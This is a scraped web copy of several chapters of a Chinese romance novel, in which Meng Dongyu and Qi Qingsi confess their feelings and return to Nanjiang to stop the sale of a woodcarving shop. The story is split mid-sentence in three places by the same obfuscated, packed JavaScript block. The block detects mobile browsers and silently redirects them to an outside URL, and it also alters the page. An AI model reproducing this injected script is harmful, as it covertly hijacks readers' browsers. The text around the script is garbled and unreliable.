还没从床上起来,祁清肆就穿好了衣服,再次回到原位。 孟冬愉拿他没辙:“又干嘛?” 祁清肆反问:“醋精?” “不是吗?”孟冬愉看着他,一点点去数他那些过往,“胡杭的醋也吃,郑泽的醋也吃,温承卿的醋也吃,邱朗的醋还吃。” 祁清肆闻言轻哼一声:“你还知道?” “之前不知道,现在才反应过来。”孟冬愉试图向他解释,“我和他们没什么。” 祁清肆不依不饶:“但是他们对你有想法。” 孟冬愉:“……” 无理取闹。 似乎看出了她的无语,祁清肆低头蹭了蹭她的脖子,带着点撒娇的意味:“都说我是醋精了,那以后只能喜欢我,离他们远一点儿。” “你别乱蹭,痒。”孟冬愉把他的头推开,又接着问道,“你到底什么时候开始喜欢我的?” 祁清肆闻言顿了一下,埋在她的脖颈间深深吸了一口气,并没直接回答她的问题:“你猜。” “昨晚小姨问你,我们怎么认识的,你说大学……”孟冬愉试图将事情串联起来,“所以,像郑泽说的那样,你大学时就喜欢我?” 孟冬愉这些天后知后觉地意识到,从她去南江那天起,祁清肆对她就不太一样。 他好像很理解她的性格,了解她的处事方式。 甚至有时候,他说的某些话,会让她产生,他们是老朋友的错觉。 可是她大学时期,确实对他没什么印象。 祁清肆没应声,抬头看着她的眼睛,忽地换了话题:“孟冬愉,我不是他。” 莫名其妙的一句话,孟冬愉蹙了蹙眉:“什么?” 知道她没听明白,祁清肆解释:“我不是你前男友。” 今天提起了太多次她前男友这个人,她自己提起,吃饭时施荣也提起,甚至施荣还误以为,祁清肆就是他。 他不是他。 他是在介意,施荣误会这件事吗? “我知道。”孟冬愉胳膊环上他的脖子,向他承诺,“改天我会和我妈解释清楚的。” 就可能是见她依旧没听懂他的意思,祁清肆摇头,一字一句地开口:“我是说,我不是他,我的喜欢不带有任何功利心和目的性。” “我只希望你能开心。” 56. 冲动 和钱曾在一起的那年,是孟冬愉工作的第三年。 彼时钱曾还是她组内的实习生。 她眼光确实不好。 明明在实习期就看出了他的业务能力并不怎么样,也隐隐察觉到了他的接近并不单纯。 可是因为他的自我介绍,让她觉得,他和她有些同病相怜,于是偶尔会顺手帮他一把。 可能是在她这里尝到了甜头,钱曾开始对她展开一系列的穷追猛打。 孟冬愉原本是没有谈恋爱的想法的,也不留情面地拒绝了他很多次。 那年夏天,孟建华再次把她的所有联系方式,推给了一个男人—— 临城本地的,一个三十多岁的,离异的暴发户。 并美其名曰,相亲。 面对各种油腻的信息轰炸,无数次深夜的电话骚扰。 那个恐怖的男人好像无孔不入一样,拉黑删除对他没有任何用处。 孟冬愉在精神崩溃的边缘,钱曾再次出现在她的身边。 说是感动也好,说是想要报复孟建华也罢,她在冲动之下选择了钱曾。 她在和钱曾做.爱时,接通那个男人的电话,她哑着嗓子让他滚远一点。 那个男人自然愤怒地去找了孟建华。 她间接让孟建华知道—— 他这个在封建礼教约束下长大的女儿,背地里很疯狂。 他在卖女儿时标榜出来的母单、处.女,根本就是个笑话。 和钱曾刚在一起的那段时间,钱曾确实尽到了身为男友的义务。 体贴温柔,对她更是唯命是从。 她逐渐沦陷在他的甜言蜜语中,天真地觉得遇到了对的人,觉得她冲动之下的选择,并没有错。 相处久了,她也看得出来他的野心,在工作上明里暗里帮衬他不少。 和他在一起这两年,她事业上还算顺风顺水,和他的感情也算稳定和谐。 他们之间真正出现嫌隙,又或者说她被他真正放弃的原因,是她竞聘市场总监的失败。 可能是觉得,她在这个公司的晋升空间,已经达到了极限,觉得从她身上已经无利可图。 他瞒着她,偷偷去找了能帮他晋升的下家。 …… 祁清肆说得没错。 她眼光很差。 她前男友的喜欢,一开始就是带着功利心和目的性的。 虽然她从来没在祁清肆面前提过这些,但是他字字句句都说到了重点。 像是看透了她心中所想,祁清肆再次重申:“孟冬愉,我想表达的重点是我,不是他。” 孟冬愉愣了一下,而后再次反应过来—— 他说的是他的喜欢。 他说他希望她能开心。 终于明白了他话里真正的含义。 炙热又真挚的话如同一团团火苗,将她的心脏包裹,熏得她眼眶发酸。 眼底的液体一点点涌入眼眶,孟冬愉眼睛眨了又眨,试图把那股湿热逼回去。 胳膊长久环着他的脖颈,已经有些麻木,她松开,别开脸去,淡淡应声:“我知道了。” 祁清肆托着她的脸转了回来,拇指落在她的唇角,将她咬紧的嘴唇松开:“可你现在不开心。” “没有。”孟冬愉摇头,将心里话抛出,“我只是……不知道该怎么回应你。” “我也总觉得,我不值得你这么对我。” “一切都是我心甘情愿的,我从来没觉得不值得。”祁清肆盯着她的眼睛,好似在和她商量一件很普通的事情,“如果不知道要怎么回应我,那就向我索取。” 孟冬愉没明白:“索取?” “嗯。”祁清肆勾唇,停在她唇角的指腹轻轻摩挲着,眸色一点点晦暗,“比如,要我牵你,要我抱你,或者……要我亲你。” 他停顿了一下,视线下移,声音也开始变哑:“这些对我来说,都是奖励。” 心脏周围的火苗好像燃得更旺了些,血液也跟着沸腾。 孟冬愉再次环上他的脖子,目光落在他扬起的薄唇上,直白地问道:“祁清肆,要接吻吗?” 空气中的药膏味还在弥漫,室内的温度好像在急剧上升。 两人的呼吸都忽然有些急促。 祁清肆落在她脸颊上的手滚烫得厉害,视线也变得灼人。 他喉结不停地滚动,不知想起了什么,忽地将手收回。 他揽住她的腰,把她从床上捞起:“孟冬愉,我没什么自控力。” 双脚再次沾地,大脑由于猛地起身而有些缺氧,孟冬愉有些懵:“嗯?” 他低头吻了吻她的额头,而后与她额头相抵,视线再次回到她的唇上,勾着唇角轻笑出声:“躺着亲,会出事。” 灼热的鼻息喷薄在她的脸颊,孟冬愉盯着他缓缓开合的唇瓣,摇了摇头:“我不介意。” 祁清肆呼吸变得更重,却强行压着一点点放缓:“先告诉你一个秘密。” 孟冬愉闻言抬眼:“什么秘密?” 室内安静了一瞬,祁清肆闭了闭眼,再睁眼时,眸光清明了几分。 他额头与她拉开距离,缓缓开口:“当初……我也去了你们公司实习。” 去实习?! 孟冬愉瞳孔猛地放大:“因为我吗?” “嗯。”祁清肆点头,回忆起往事,神色有些落寞,“当时,亲眼看到你和他在一起之后,我才回了南江。” 手指一点点攥紧,孟冬愉再次发觉鼻尖和眼眶都酸得厉害。 原来,在她不曾看到的角落,他默默站了那么久。 可她的余光从未落到他的身上,甚至不知道他的存在。 怪不得……他对她的上段感情,知道得这么清楚。 脑海里再次浮现出,第一次和郑泽见面时,郑泽说得那些话。 孟冬愉喉咙哽了一下,再次向他确认:“所以你真的,在大学的时候就喜欢我?” 祁清肆垂眼扯了下唇角:“算是。” 可是当初郑泽问他记不记得她,他说不记得。 她也亲口问过他是不是暗恋她,他也说没有。 孟冬愉接着问:“为什么当初不肯承认?” “言语具有欺骗性,人也总是会美化自己的付出。” 祁清肆抬眼对上她的视线,一字一句地说:“我想让你喜欢的是,你亲眼看到的我。” “而不是我口中的我。” 他紧了紧环着她的胳膊,身体和她贴得更近了些:“我也很贪心。” “我想让你对我产生的是,生理性的喜欢。” “而不是被激素、被欲望支配的冲动。” 他视线落在她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572651|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇上,却闭眼吻了下她的鼻尖,又偏头吻了下她的耳朵,最后将头埋在她的肩颈,带着忍耐与渴求:“孟冬愉,再多喜欢我一点,好吗?” 所以,她两次主动,都被他拒绝。 是因为他看出来了,这都是她大脑一时冲动做出的决定。 当理智回笼,哪怕他脱了上衣站在她面前,她都不会主动产生想要和他贴贴抱抱的想法。 孟冬愉本来觉得谈恋爱,就是欲望上头之后,拥抱、接吻、做.爱。 等身体和大脑得到满足,就不再去想这些。 她知道自己不具备爱人的能力,可如今却突然觉得,她好像连怎么喜欢一个人都不太会。 “对不起,我……”孟冬愉垂下眼睫,却不知道要说些什么。 她嗫嚅了片刻,再次开口:“祁清肆,你教教我……” 话音未落,衣服口袋里的手机铃声忽地响起。 孟冬愉将手松开,又拍了拍祁清肆的肩膀,示意他先将她放开。 电话接听,对面小师妹染着哭腔的声音传来:“师姐,你快回来吧,师父他……他要赶我们走。” 今天和幻宙的合作的活动刚结束,温承卿那边没出什么大问题。 祁振强平日虽然总是黑着张脸,但是她的这个小师妹是个天生的乐天派,哪怕祁振强再凶她,也没见她哭过。 更何况祁振强是典型的刀子嘴豆腐心,他精心挑选的徒弟,哪怕再不满意,也不至于到全赶走的地步。 孟冬愉右眼开始突突地跳,她深吸了一口气,试图先去了解事情的来龙去脉:“发生什么事了?” “我们也不知道,这两天师父看着心情特别不好。”小师妹鼻音喃喃地,“然后今天下午突然和我们说,他要把木雕店卖掉,让我们明天就离开。” “把木雕店卖掉?”孟冬愉捏了捏眉心,再次确认,“师父亲口和你们说的?” 师弟们应该也在旁边,闻言纷纷开口:“是师父亲口说的。” “师姐,平日里师父最听你的话,你快回来劝劝他吧。” 祁振强当初可是宁愿赔钱,都要把木雕店开下去的人。 如今一切都步入正轨,孟冬愉是绝对不信,他会舍得将木雕店卖掉。 可是师弟师妹没必要打电话来撒谎。 孟冬愉耐着性子,接着去问:“最近店里遇到什么问题了吗?” 师弟师妹们不带丝毫犹豫,就应声:“没有,自从你走后,没发生什么大事。” 话音刚落,就有人再次开口:“哦,对了,好像有个染着黄头发的小混混来找过师父。” 孟冬愉闻言愣了一下,反应过来后,看向了一旁把玩着她手指的祁清肆。 祁清肆嗤笑了声,语气里带着讥讽:“当初一声不吭地卖民宿,现在又一声不吭地卖木雕店。” “他对他那个私生子,真够慷慨的。” 祁清肆母亲的事情,至今还是一团迷雾。 木雕店的所有权确实在祁振强手中,孟冬愉也做不了什么主。 若是换做原来的她,是绝对不会插手这件事情。 但是现在,看着他每每都因为这件事情影响情绪。 她想和他一起搞清楚,当年究竟发生了什么。 孟冬愉抿了抿唇角,看向他:“祁清肆,我们回南江吧。” 57. 注目 祁清肆本就想着能和孟冬愉一起回去,自然不会拒绝她的提议。 哪怕他再记恨祁振强,但祁振强如今要卖的木雕店,是孟冬愉倾注了不少心血的产物。 于情于理,他都不可能袖手旁观。 木雕店的事情迫在眉睫,孟冬愉和施荣说了声,第二天一早就和祁清肆一起回了南江。 抵达南江机场的时候,师弟师妹们已经在迎客区等了他们许久。 他们年龄都不大,面对突如其来的变故,确实都慌了神。 见到孟冬愉之后,一个个像是抓住了救命稻草一样,亦步亦趋地围着她,你一言我一语把电话里讲过的事情,又复述了好几遍。 孟冬愉平日里和他们交流并不算太多,大多数时候都是祁振强在外面教他们,孟冬愉一个人在里间干活。 如今出了这档子事,他们和她的关系好像忽然之间拉近了不少,她突然就成了他们的主心骨。 孟冬愉一下飞机就被他们围着叽叽喳喳,祁清肆推着两个行李箱,跟在他们身后,有些不爽地喊她:“孟冬愉。” 孟冬愉闻声回头:“怎么了?” 祁清肆脚步停在原地,面无表情地开口:“累,走不动了。” 孟冬愉:“?” 从迎客区到停车场距离不远,这才走了几步路,就……累了? 还说不娇气…… 孟冬愉有些无奈地转身走回他身边,试图从他手中接过两人的行李箱:“你歇一下,我来推。” 几个师弟也反应过来,连忙过去接:“不好意思啊肆哥,我们见到师姐太激动了,忘了帮你拎箱子。” 祁清肆这才松了手,由着他们把行李箱接了过去,才懒散开口:“谢了,改天请你们吃饭。” 师弟们闻言客气地寒暄了几句,而后帮忙推着行李箱继续往停车场方向走。 祁清肆勾起唇角,空出来的手去牵孟冬愉的手。 他温热的掌心将她的手掌包裹,又顺着她的手腕与她十指相扣,而后拉着她慢悠悠地跟上几位师弟们的步伐。 总算明白了他的意图,孟冬愉笑着嗔他一眼,轻声吐槽:“幼稚鬼。” 跟在孟冬愉身旁的小师妹,视线落在他们紧握的手上,惊呼道:“师姐,你们!你们在一起啦?” 她语气太过惊喜,声音也不小,几位师弟们纷纷闻声回头,同时也吸引了一些路人的注目。 成为众人的焦点,孟冬愉本能地想要先将手挣脱开,祁清肆却并没顺她的意。 “手都不给牵啊?”他将她的手握紧,神色染着点委屈,压不下来的唇角却暴露了他的故意。 孟冬愉有些恼地捏了下他的拇指,在众人的关注中,点头承认:“嗯。” “恭喜,恭喜。”小师妹几乎和几位师弟异口同声,道贺之后,又星星眼地补充,“妈耶,我磕的CP成真了!” 孟冬愉失笑,礼貌道谢之后,再次跟着大家一起往前走。 小师妹似乎又想起了什么,在她身边小声感慨:“师姐,你不知道,你离开南江那天,清肆哥都快急疯了。” “他去店里把我们问了个遍,还和师父大吵了一架。” 急疯了? 孟冬愉蓦地又想起,祁清肆那天追过来时,生气质问的模样。 可他当时宁愿贬低自己,都没对她说什么重话。 小师妹这次的声音不大,但是祁清肆和她并肩走着,肯定是能听到的。 孟冬愉攥紧他的手,偏头看他:“为什么和师父吵架?” “他这个师父当得不合格。”祁清肆眼中挂着点轻蔑,赌气般开口,“自己徒弟去哪儿了都不知道。” 孟冬愉抿了下唇角,试图解释:“是我没和他们说。” “你不说,他连问都不问……”祁清肆反驳的话说到一半,忽地嗤笑了声,将自己说服,“也是,他本来就不负责任。” 孟冬愉没再和他争辩下去,将心底被勾起的疑问抛出:“你怎么知道我家地址的?” 突然换了话题,祁清肆面上的淡嘲收住,挑眉看了她一眼:“怎么?怀疑我非法盗取你的隐私?” 孟冬愉:“……” 当时他突然出现在她家附近的酒店,她确实确实觉得震惊。 但是也没到怀疑他干了什么违法勾当的地步。 见她确实好奇,祁清肆哼笑了声,坦荡解释:“当初办入住时,系统里录了你的身份证。” 原来如此。 心底的第一道疑惑被解决,孟冬愉接着去问:“那你又是怎么知道,我回家了呢?” 祁清肆这次想都没想,就给了答案:“不知道。” 孟冬愉一时间没反应过来:“啊?” 祁清肆轻描淡写地开口:“想着你家那边要是找不到你,就去北城。” 所以,他当初去临城时,并没有十足的把握会找到她? 如果不是那天凑巧遇到,如果他们真的阴差阳错地错过了,他还要再跑去北城? 孟冬愉吸了吸鼻子,没再去看他:“我又没说不回来了。” 祁清肆指腹摩挲着她的指尖,淡淡开口:“你没和我说。” 她没和他说过,她要离开;她更没和他说过,她会不会回来。 那天,他拎着新一疗程的中药回到满汀洲,敲响她房门的时候,怎么都没想到,她会不告而别。 他把客厅的监控翻了又翻,又把民宿里所有租客问了个遍,得到消息都是—— 她拎着行李箱离开了,不知道去了哪儿。 当时他望着她空荡荡的房间,脑海中只剩一个想法—— 他又被抛弃了。 就像当初他母亲那样,明明早上还答应他,等第二天考试成绩出来了,就带他去买吉他。 但是当他第二天收到成绩单的时候,和他约定好的人已经成了一具蒙着白布的尸体。 于是他又跑去问祁振强,问他究竟发生了什么,问他孟冬愉到底去哪了,还问他为什么不拦着她? 可祁振强什么都答不上来。 态度像他母亲消失那晚一样。 那一刻,他再一次感受到了,前所未有的绝望。 最后一丝理智告诉他,他得去找她。 临城也好,北城也罢,又或者别的什么地方,他得找到她。 他需要问问清楚,为什么,为什么约定得好好的,突然就抛下他了。 幸运的是,在临城,在她家附近的酒店,他刚办理完入住,就碰到了她。 可是她身边站了一个男人,她还和那个男人说,她不认识他。 那一瞬间,他真觉得自己可笑至极。 千里迢迢地追过来,却被人当狗耍。 他自认为这些年没遇到什么太大的挫折,大多数事情处理起来,都还算游刃有余。 然而当时面对她的那些话,他只剩下慌张、无力又不知所措。 那几天,他浑浑噩噩地抽了很多很多烟,多到连夹烟的手指都熏上了黄色。 尼古丁能很好地麻痹大脑,他试图把它当做解药。 可是麻痹的效果太过短暂,每次烟蒂落地,巨大的无力感就会如同洪水般再度袭来。 他还是不甘心。 …… 眼前的人似乎察觉到了他低落的情绪,有些愧疚地咬紧了嘴唇。 祁清肆垂眼笑了下,将她的手攥得更紧了些,缓缓开口:“孟冬愉,以后,别再不告而别了。” - 孟冬愉他们从机场回到秋意街的时候,祁振强正在店里仔仔细细地擦拭着货架上的木雕。 不过一周多的时间没见,祁振强仿佛又苍老和憔悴了不少。 祁振强见他们一起回来,应该也料到了,大家都已经知道他要卖木雕店这件事。 他把抹布丢在货架上,板着脸,试图把他们往外赶:“谁让你们来的?今天不营业,都赶快走。” 仅凭祁振强一个人,自然是轰不走他们一堆人。 孟冬愉望着店内被擦得噌亮的木雕,温声劝说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596809|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师父,店铺走到今天很不容易,大家都看得出来,您对木雕和这家店的热爱,我们也不信……” “从今天起,我不再是你们师父。”祁振强像是早就料到她会这么说,径直将她打断,态度一如既往地强硬,“我的事情,不用你们插手。” 祁清肆嗤笑了声,优哉游哉地在店里打量了一圈,径直问道:“多少钱?” 祁振强被问得一愣:“什么多少钱?” 祁清肆捏着一个玩偶木雕,把玩似的在手中掂了掂,才应声:“不是卖木雕店么?” 祁振强哼了一声,不屑道:“关你什么事?” “开个价,我买。”祁清肆把木雕放回原位,语气带着点讥嘲,“省得像当初卖民宿一样,你低价卖,我还得高价买回来。” 似乎没料到祁清肆会是这个态度,祁振强闻言顿了一下,又满脸不信地反驳:“就你?你能有多少钱?” 认定了他是在“打肿脸充胖子”一样,祁振强又补充:“当初买民宿,不还是找你姑妈借的钱?” 祁清肆没有和他废话,再次重申:“你不用知道我有没有钱,只需要开个价,我说了,我买。” 见祁清肆神色认真,不似在开玩笑,祁振强神色有一丝松动。 他清了清嗓子,换上一副公事公办的语气:“店铺的估价结果还没出来。” “得等明天。” 祁清肆没搭腔,眼睛直直地盯着他看,片刻后,才一字一顿地开口:“你需要多少钱?” “或者说,你那个私生子,想让你给他多少钱?” 像是极力隐藏的事情被拆穿了一样,祁振强脸色猛地一僵:“你胡说什么?” 祁清肆扯了下唇角,将字咬得很重:“祁振强,我真的好奇,你究竟是做了多大的亏心事?” “不惜卖房卖店,都要去补偿我那个哥、哥。” 察觉到两人之间又开始有些剑拔弩张。 孟冬愉安抚般拍了拍祁清肆的手,看向祁振强,试图猜测:“师父,究竟发生了什么?” “您是不是被勒索了?” 祁振强闻言面上闪过一丝慌乱,脸色也开始有些苍白:“胡说。” 孟冬愉轻轻叹了口气,接着劝说:“说真心话,这家店有我的心血在,我不希望您卖掉它。” “有什么问题,您说出来,我们可以一起想办法解决。” 祁振强沉默了很久,最后还是板着脸嘴硬:“都说了,我的事,不用你们管。” 眼看着祁振强软硬不吃,祁清肆似乎也没了耐心,咬着牙点头:“行,那就等明天。” “我倒要看看,他到底要卖多少钱。” 话说完,祁清肆拉着孟冬愉,径直出了店门。 几个师弟师妹们有些不知所措地跟在他们身后。 目睹了全程,小师妹语气又带着哭腔:“师姐,怎么办啊?” 如今祁振强的态度如此强硬,孟冬愉也不能向他们保证些什么。 她再次叹了口气,安抚道:“你们先回家吧,就当休息几天,我和祁清肆再想想办法。” 目送他们离开,孟冬愉和祁清肆一起拎着行李,回了满汀洲。 她住过的那间房,纹丝未动,和她离开那天一模一样。 孟冬愉进去,去放行李箱。 祁清肆也跟着进了门,又随手将门合上。 屋内的窗帘没拉开,门外的光线被阻隔,房间内一瞬间变得昏暗。 孟冬愉见他进来,顿了一下,忽地意识到这是他第一次进她的房间。 在满汀洲这些天,他有事找她,都是站在门口。 她偶尔也进过几次他的房间,但大多数时候都是敞着门。 哪怕在酒店这两天,他们待在一起的时候,屋内也是灯光大亮,窗明几净。 不会让人本能地去遐想些什么。 当前周遭的昏暗氛围,促使孟冬愉莫名感到心跳加速。 她下意思咽了咽口水,而后欲盖弥彰地问道:“怎么了?” 58. 互动 应该是察觉到她的紧张,祁清肆笑了声,慢悠悠开口:“帮你收拾房间。” 孟冬愉自然不信,但也没去质疑,佯装淡定地走到窗边去拉窗帘:“关门做什么,都看不到了。” 伴随着滑轨运转的声音,屋内再次恢复光亮。 祁清肆望着她的举动,懒洋洋地倚在门后,揶揄道:“孟冬愉,是怕黑,还是怕我啊?” 心思被他公然拆穿,孟冬愉试图转移话题:“不是来帮我收拾房间吗?从哪里开始?” “我又不是免费劳动力。”祁清肆站直身体,俨然一副谈判的姿态,“收拾之前,得先收点报酬。” 孟冬愉:“什么报酬?” 祁清肆站在原地没动,张开手臂,勾着唇角将条件讲出:“给我抱一下。” 闻言,孟冬愉觉得好似松了一口气,但又莫名有点失望。 她走过去,主动环上他的腰,嗔怪:“粘人。” “哪儿粘人了?”祁清肆满意地将胳膊收紧,低头咬了下她的耳朵,“今天一次都没抱过。” 落在耳朵上异样的感觉,促使孟冬愉浑身一凛:“你干嘛?” 似乎察觉到了她的异常,祁清肆先是顿了一下,而后浓郁的笑意浸入他的嗓音:“孟冬愉,你的耳朵好像很敏……” 再次被他拿捏住了把柄,没等他话说完,孟冬愉就松开胳膊,恼羞成怒地想要离开。 “错了。”祁清肆笑着将她拉回,又委屈巴巴地道歉,“这次没忍住,以后不咬了。” 再次撞入他的怀中,孟冬愉无奈地仰头询问:“报酬付过了,什么时候帮我收拾房间?” 祁清肆垂眼看她,语调带着点不满:“你就不想抱我吗?” “我——”被他问得哑口无言,孟冬愉深吸了口气,决定顺了他的意思,“想。” “那就再抱一会儿。”祁清肆闻言满意地扬唇,又用鼻尖在她的耳后蹭了蹭,不由自主地感慨,“好香啊。” 他的鼻息喷薄在她的皮肤上,又烫又痒。 “你别乱——”孟冬愉话说了一半,余光忽然瞥见柜子上的小狗木雕摆件,忽地又想起曾经在这里做的那场梦。 她笑着问他:“祁清肆,你是小狗吗?” 动不动就乱拱、乱蹭、乱咬。 真像小狗一样。 “你才小狗。”祁清肆不服气地去咬她的耳朵,而后埋头在她的脖颈处吸了一口气,继续回到方才的话题,“是橙花还是茉莉?我闻不出来。” 耳朵再次遇袭,双腿跟着有些发酸。 孟冬愉借着力靠在他怀里,越发觉得他的某些承诺不可信。 她之前从来没察觉到触碰耳朵,会引起这种反应。 但是,她现在好像也并不排斥…… 祁清肆还在她的肩颈处蹭来蹭去,孟冬愉无奈解释:“香水。” “你如果喜欢这个味道,我到时候送你一瓶。” “我不要。”祁清肆摇头,拒绝得很彻底,“和你身上的味道,不一样。” “怎么就不一样了?”孟冬愉站稳脚步,试图推开他,去拿包中的香水,“我拿给你闻一下。” 祁清肆没松手,想都没想,就脱口而出:“不用,这两种味道的香水,各个品牌我都买了。” “没一个是你身上的味道。” 孟冬愉:“?” 她有些惊讶地仰头看他:“你——” “我不是变态,就是——”察觉到自己的口无遮拦,祁清肆有些懊恼地解释,话说到一半,又有些心虚,“就是好奇。” 孟冬愉觉得“变态”两个字难以启齿:“我没说你是……” 祁清肆不依不饶:“但你的眼神,觉得我是。” 孟冬愉诚恳地摇头:“真没有。” 她只是有点不敢置信。 橙花或者茉莉这两种味道,很相似,在各大香水品牌中也都很常见。 为了寻找一个相同的味道,他竟然一个一个买来去闻? 更何况,香水这种东西,本就千人千味。 有一点差异也很正常。 女生之间,彼此种草彩妆香氛之类的产品,很常见。 孟冬愉买的这款香水,还是当初和她关系不错的一个同事,强烈安利给她的,声称这个味道很符合她的气质。 她买来之后,闻着味道不错,这些年也一直没换别的。 孟冬愉有些不解地看向他:“你好奇,为什么不直接问我?” 祁清肆不知想起了什么,耳尖忽地开始泛红:“那我就真成变态了。” 孟冬愉没听明白:“什么意思?” “没什么意思。”祁清肆没再解释,将她松开,转移了话题,“我去楼下拿新的床单被套过来。” 目送他开门离开,孟冬愉反应了片刻,依旧没想明白,为什么问个香水品牌会和“变态”扯上关系。 不过本来也不是什么要紧的事,当下重要的事情是收拾房间。 屋内近两周没住人,回来时房门又敞着,虽然看不出什么灰尘,但是床单被套这些确实要换一遍。 将行李理好,又把屋内的各种陈设摆正,祁清肆也拿了更换品上来。 孟冬愉想要伸手去帮忙,却被他拒绝掉。 他下巴点了点不远处的椅子,示意她坐下歇着:“说好的,我来收拾。” 孟冬愉:“?” 不是帮忙吗? 怎么就变成他来收拾了? 满汀洲民宿每周会请阿姨来打扫一次卫生,但租客房间内各种用品的补给和更换,一般都由租客自己去楼下储物间拿。 本来就是孟冬愉该做的事情,全权交给民宿老板去做。 怎么也说不过去。 祁清肆把拿来的所有东西到床上,“嘶”了声:“孟冬愉,你房间,是藏了什么见不得人的东西吗?” 突如其来的问题,孟冬愉愣了一下,而后摇头:“没有。” 祁清肆笑了声,目光带着调侃:“那为什么,盯我盯得这么紧?” 明白了他的意思,孟冬愉试图解释:“全让你收拾,不太好。” “哪里不太好?”祁清肆挑眉,“帮女朋友收拾房间,不是天经地义吗?” “还是说,你没把我当……” 知道他又开始胡搅蛮缠,孟冬愉在椅子上坐下,将他的话打断:“哦,那你收拾吧。” “不过,我也觉得,我这个劳动力有点廉价。”祁清肆见状轻笑出声,蹲在她身前,咬了下她的手指,“等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600907|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,你得再奖励我一下。” 指尖的湿热,让孟冬愉将手指本能地蜷缩,继而又蓦地想起他说过那些的奖励。 她躲开他灼热的目光,明知故问:“什么奖励?” 祁清肆勾唇:“你猜。” 孟冬愉没再和他周旋下去,望着床头柜上的木雕,换了话题:“如果师父坚持要卖木雕店,你真打算买下来吗?” 祁清肆起身,一边从床上的一堆东西中捡洗漱用品,一边应声:“嗯,真打算买。” 店铺的估价结果虽然还没出来,但是单从南江的房价和店内产品的价值来看,估价肯定不会很低。 再加上如今店铺的名声已经打了出去,至少……得百万起步。 孟冬愉犹豫了片刻,等他把东西放到洗手间,出来后,才再次问道:“你……有那么多钱吗?” 祁清肆闻言脚步顿住,意味深长地看向她:“你也觉得我缺钱啊?” 这和缺不缺钱没关系。 他这个民宿再赚钱,也不一定能一下子拿出几百万的闲钱出来吧? 更何况,她来了才几个月,已经听到童欣瑶怀疑了好几次,说他是不是缺钱。 孟冬愉抿了抿唇角:“师父不是说,你买民宿的钱还是找欣瑶妈妈借的吗?” “早还完了。”祁清肆漫不经心地应声,而后回到床边,把要换洗的枕套和被套都拆下来。 “哦。”孟冬愉顺着他的话语声点头,没再多问。 毕竟他们才刚在一起,突然提到存款和资金这种隐私相关问题,多少有点不太好。 像是猜透了她心中所想,祁清肆将手中的被褥放下,带着点解释的意味:“孟冬愉,买这个民宿的时候,我才十几岁。” “那时候没钱,不很正常?” 孟冬愉闻言本能地脱口而出:“那现在……?” 现在就有钱了? 祁清肆扯起唇角,哼笑:“真觉得我每天吊儿郎当,无所事事啊?” 吊儿郎当,无所事事…… 旧事重提,孟冬愉带着点歉意否认:“没有。” 她想了一下,又补充:“都是气话。” “放心,我现在的存款,买个木雕店还是绰绰有余的。”祁清肆将换下的被套堆在地上,语调染着点阴阳怪气,“我可不像有些人,天天想着吃女朋友的软饭。” 孟冬愉:“……” 话题戛然而止,孟冬愉看着他手法娴熟地去换床单被套。 每次民宿退房之后,都有专门的阿姨来收拾,她从没见过祁清肆动手做这些。 没想到他好像专门学过一样,完全就是酒店的标准。 看着焕然一新的床铺,孟冬愉有些惊喜地望向他:“祁清肆,你怎么……什么都会啊?” 祁清肆唇角的弧度更弯了些,他走过来,将侧脸凑到她眼前。 孟冬愉对他的举动有些懵:“干嘛?” 祁清肆挑眉,余光看向她:“不是让我教教你吗?” 孟冬愉依旧没反应过来:“什么?” “表达喜欢。”祁清肆抬手点了点脸颊,“亲我。” 孟冬愉:“亲脸啊?” 祁清肆偏头看向她,视线下移:“不然……你想亲哪儿?” 59. 过往 孟冬愉为方才不假思索的话慌了一瞬。 她咽了咽口水,强装镇定地将问题抛给他:“你觉得呢?” 祁清肆闻言哼笑着点头,双手撑着椅子扶手,将她禁锢在椅子中。 他弓着腰,视线从她的眼睛,直勾勾地移到她的唇上:“孟冬愉,又钓我呢?” 被拘在狭小的一隅,光线被他的背影遮挡,四周的空气好像也变得不太流通。 属于他的味道铺天盖地袭来,心跳不自觉开始加速。 眼看着他的脸一点点靠近,近在咫尺时,孟冬愉本能地闭上了眼。 唇上还没落下想象中的触感,耳畔倒先传来他哑哑的笑声。 孟冬愉猛地睁眼,就撞上了他染着顽劣笑意的眼睛。 距离依旧近在咫尺,他勾唇,带着极力的忍耐,回答她方才的问题:“我觉得——” “不能让你这么快得逞。” 孟冬愉:“?” 到底谁钓谁啊? 她有些恼地推开他,语调染着点不由自主地娇嗔:“你好烦。” 祁清肆见状顿了一下,而后肩膀耸动,周身染着极大的愉悦感,轻笑出声:“就这么想和我接吻啊?” 孟冬愉:“??” 怎么又回到了原来的话题上? 怎么就突然得出了结论? 